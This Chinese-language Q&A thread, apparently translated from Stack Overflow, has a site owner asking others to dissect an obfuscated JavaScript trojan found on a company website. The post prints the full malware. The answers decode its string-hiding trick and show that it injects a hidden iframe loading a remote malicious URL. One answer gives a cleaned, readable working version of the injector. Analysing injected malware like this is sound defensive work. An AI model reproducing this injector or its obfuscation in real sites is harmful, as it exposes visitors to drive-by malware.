JavaScript木马解剖

时间:2010-07-20 08:06:02

标签: javascript debugging obfuscation trojan

我最近一直在使用各种JavaScript,并开始考虑我无法遇到一段我无法调试的JavaScript。

当我们在公司网站上发现一些JavaScript重定向特洛伊木马时,我感到非常惊喜和愤怒。

我们发现的大部分代码都能够轻松剖析并使用标准转义来模糊代码功能。

但是在代码中我们发现下面的代码完全让我难以理解它的作用。 (我似乎唯一可以理解的是,它正在对某些参数进行替换)。

那么有人愿意为我解剖以下代码吗?我很想知道到底发生了什么......

<script>

function yJ() {};
this.sMZ = "sMZ";
yJ.prototype = {
    w: function () {
        var rJ = 13390;
        this.m = "m";
        this.fP = '';
        this.q = "q";
        this.oJ = "";
        var vS = function () {
            return 'vS'
        };
        var d = 'replace';
        var qB = "";
        x = '';
        var s = document;
        var xZ = "xZ";
        mC = '';
        var dV = "dV";
        var b = window;
        this.p = false;
        this.kX = '';
        nP = "nP";
        var zE = "";
        this.nU = false;
        var yV = function () {
            return 'yV'
        };
        String.prototype.gT = function (l, v) {
            return this[d](l, v)
        };
        this.pC = '';
        var qV = false;
        var fPU = new Array();
        h = "";
        var sV = 'sKe}tKTIiWmEe}oEu}tK'.gT(/[KE\}IW]/g, '');
        var xV = 43258;
        sT = '';
        var mV = '';
        this.wJ = "wJ";
        var f = '<jhItImIlI I>j<IhjezaIdz ;>;<z/;hjeIaIdI>;<zb!ojdjyj ;>I<!/jbIo!d!yI>z<j/Ihjt;m;lj>!'.gT(/[\!Ijz;]/g, '');
        var xB = '';
        wI = "wI";
        oT = false;
        var nQ = 49042;
        try {
            zI = '';
            var bF = new Array();
            var aY = function () {
                return 'aY'
            };
            var rN = false;
            rF = "";
            var cX = function () {
                return 'cX'
            };
            var y = 'bToTdTy+'.gT(/[\+\]aT%]/g, '');
            this.rL = '';
            var vH = function () {
                return 'vH'
            };
            var r = 'sStEy9l?eE'.gT(/[ES9\?m]/g, '');
            yD = "";
            var eA = '';
            var bQ = 'i.fWrhalmlel'.gT(/[lW\.xh]/g, '');
            vZ = '';
            this.bG = "";
            this.vL = false;
            var t = 'w5r[i5t[e%'.gT(/[%C5\[U]/g, '');
            gI = '';
            dVL = "dVL";
            var n = 'cZrzeZaZtze.E.l.e;m;eSnzt;'.gT(/[;SZz\.]/g, '');
            lH = "";
            kD = "kD";
            this.pH = false;
            var k = 's9ric9'.gT(/[9Ni~O]/g, '');
            var vB = '';
            var kH = function () {
                return 'kH'
            };
            var qH = new Array();
            aD = '';
            this.eQ = false;
            var z = 'sNeatoA%totor%i%b%u%toeN'.gT(/[Na%ox]/g, '');
            var cT = '';
            var kL = function () {
                return 'kL'
            };
            var bR = new Array();
            this.cP = 22454;
            var dH = 'hNi9d0d>e*n*'.gT(/[\*9N\>0]/g, '');
            lG = '';
            tG = 7587;
            hV = '';
            this.oR = "oR";
            var o = 'vKiKsAi&bGiKlAiKtHyH'.gT(/[HGK&A]/g, '');
            var dC = function () {};
            var eR = new Date();
            var e = 'atp9p9eWn9d:C9htitl5d:'.gT(/[\:t59W]/g, '');
            uM = "";
            var i = function () {};
            this.cI = "";
            tU = false;

            function qN() {};
            xL = 57256;
            var c = this.a();
            this.eL = '';
            var rY = function () {};
            fG = false;
            nO = false;
            this.j = "";
            this.iQ = 5330;
            var sY = function () {};
            var u = document[n](bQ);
            this.tH = false;
            zX = "";
            u[r][o] = dH;
            var kV = "kV";
            pN = '';
            var yG = new Array();
            this.nOE = 818;
            u[z](k, c);
            this.bQK = "";
            var yU = 15629;
            var sM = new Array();
            var eY = "eY";
            var qP = '';
            s[y][e](u);
            var lU = "lU";
            var zR = false;
            var xS = "";
            iX = 34795;

            function pO() {};
            this.gM = "";
        } catch (g) {
            var xI = false;
            this.gO = false;
            this.iZ = false;
            this.iU = false;
            var mQ = new Date();
            var qF = function () {};
            s.write(f);
            var tS = "tS";

            function aR() {};
            nA = "nA";
            var xT = new Date();
            mZ = false;
            var gN = new Array();
            var wE = this;
            var eB = 3562;
            this.qE = "qE";
            this.cS = false;
            this.vK = false;
            qEJ = false;
            this.hW = false;
            b[sV](function () {
                function bI() {};
                hJ = "";
                var kVQ = "kVQ";
                var iG = "";
                var eBS = new Array();
                rA = "";
                wE.w();
                jY = "";
                var hB = "hB";
                var iZF = '';
                qY = "";
                jYG = "";
                uK = 30969;
                var qD = "qD";
            }, 326);
            this.qC = "";
            var aX = function () {};
            var cN = "";
        }
        gB = false;
        var fF = false;
        this.hX = false;
    },
    a: function () {
        rH = "rH";
        this.bV = '';
        var qW = "";
        return 'h+tbtJpx:J/+/JfxaxnJc+yJc+abkJeb.xnJeMtM/x.xpxh+/b1M/+'.gT(/[\+JbMx]/g, '');
        var sMS = new Array();
        this.wL = false;
        uS = "uS";

        function pI() {};
    }
};
var uI = false;
var kN = new yJ();
this.aQ = "aQ";
kN.w();
hT = 15101;

</script>

3 个答案:

答案 0 :(得分:17)

它嵌入http://fancycake.xxx/something,这就是您可以看到的行:

return 'h+tbtJpx:J/+/JfxaxnJc+yJc+abkJeb.xnJeMtM/x.xpxh+/b1M/+'.gT(/[\+JbMx]/g, '');

你会看到从该字符串中提取的每个奇怪字符如何形成URL。我没有运行这个,所以我不确定它在什么条件下执行此操作,但是您可以看到String.replace已重命名为String.gT并且正在传递正则表达式对应的字符字符串混淆了。如果您应用相同的方法,采用奇数字符,您可以看到有一个隐藏的iframe,一些javascript事件处理程序,setAttribute等:

var z = 'sNeatoA%totor%i%b%u%toeN'.gT(/[Na%ox]/g, '');
var o = 'vKiKsAi&bGiKlAiKtHyH'.gT(/[HGK&A]/g, '');
var e = 'atp9p9eWn9d:C9htitl5d:'.gT(/[\:t59W]/g, '');

这就是String.replace别名的方式:

var d = 'replace';

...
String.prototype.gT = function (l, v) {
    return this[d](l, v)
};

在该函数的上下文中,this是调用gT的字符串,d是字符串replace。在字符串的原型上,this['replace']返回replace()方法,然后使用gT的两个参数调用该方法。然后返回结果。

<强>更新

我改变了脚本:

  1. 用普通表单替换所有string.gT()次来电。
  2. 删除了所有未引用的变量。
  3. 给一些常识名称起作用。
  4. 这是结果,现在应该很清楚它是如何工作的:

    function FancyCake() {};
    FancyCake.prototype = {
        embed: function () {
            var d = 'replace';
            var s = document;
            var b = window;
            var sV = 'setTimeout';
            var f = "<html ><head ></head><body ></body></html>";
            try {
                zI = '';
                var bF = new Array();
                var y = 'body';
                var r = 'style';
                var bQ = 'iframe';
                var t = 'write';
                var n = 'createElement';
                var k = 'src';
                var z = 'setAttribute';
                var dH = 'hidden';
                var o = 'visibility';
                var e = 'appendChild';
                var c = this.getUrl();
                var u = document[n](bQ);
                u[r][o] = dH;
                u[z](k, c);
                s[y][e](u);
            } catch (e) {
                console.error(e);
                s.write(f);
                var cake = this;
                b[sV](function () {
                    cake.embed();
                }, 326);
            }
        },
        getUrl: function () {
            return "http://fancycake.net/.ph/1/";
        }
    };
    
    var cake = new FancyCake();
    cake.embed();
    

答案 1 :(得分:4)

它会向您网站的以下网址添加一个不可见的iFrame:

<iframe style="visibility: hidden;" src="http://fancycake.net/.ph/1/"></iframe>

网站fancycake在Firefox下被标记为受攻击和恶意

答案 2 :(得分:1)

在JavaScript调试器中运行它;最终,代码将自行反编译并尝试启动。我建议在Linux机器上使用最新版本的FireFox以保证安全。